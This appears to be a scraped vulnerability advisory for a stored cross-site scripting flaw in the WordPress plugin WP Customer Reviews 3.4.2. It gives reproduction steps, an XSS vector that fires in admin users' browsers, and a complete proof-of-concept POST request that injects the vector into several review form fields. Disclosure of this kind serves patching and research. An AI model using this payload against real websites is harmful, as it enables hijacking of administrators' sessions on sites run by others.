Share
## https://sploitus.com/exploit?id=WPEX-ID:07E9E70B-97A6-42E3-B0DE-8CB69DEDCBD3
If WP Customer Reviews is enabled on a page, an unauthenticated attacker can exploit XSS via review form's parameters:
- Reviewer Name
- Website
- Review Title

On the other hand, an authenticated low-privileged user (Author) can exploit XSS via Edit Post's form parameters:

If review format is "Business":
- Business Name
- Street Address 1
- Street Address 2
- City / Locality
-Country
etc...

If review format is "Product":
- Product Name
- Manufacturer/Brand of Product
etc...

The script stored is executed for all admin users of the website when accessing review detail page.

### Steps

1. Download and install "WP Customer Reviews 3.4.2" from https://wordpress.org/plugins/wp-customer-reviews/

2. From dashboard, admin go to arbitrary post, edit and enable "Enable WP Customer Reviews for this page".

3. As an unauthenticated attacker, go to the page that enabled review form and enter XSS vector to "Reviewer Name", "Website", "Review Title":

```
" autofocus onfocus='alert(document.domain)'>
```

4. When admin user go to "Edit Customer Review" to response, the javaScript code injected would be executed.

5. An authenticated low-privileged user (Author) can do the same with Edit Post form, enter XSS vector on product, business fields.

--- PoC Request

POST /wp-admin/admin-ajax.php?action=wpcr3-ajax HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 423

wpcr3_fname=%22+autofocus+onfocus%3D'alert(document.domain)'%3E&wpcr3_femail=test%40gmail.com&wpcr3_fwebsite=%22+autofocus+onfocus%3D'alert(document.domain)'%3E&wpcr3_ftitle=%22+autofocus+onfocus%3D'alert(document.domain)'%3E&wpcr3_frating=5&wpcr3_ftext=%22+autofocus+onfocus%3D'alert(document.domain)'%3E&wpcr3_postid=1&website=&url=&wpcr3_fconfirm1=0&wpcr3_fconfirm2=1&wpcr3_fconfirm3=1&wpcr3_checkid=1&wpcr3_ajaxAct=form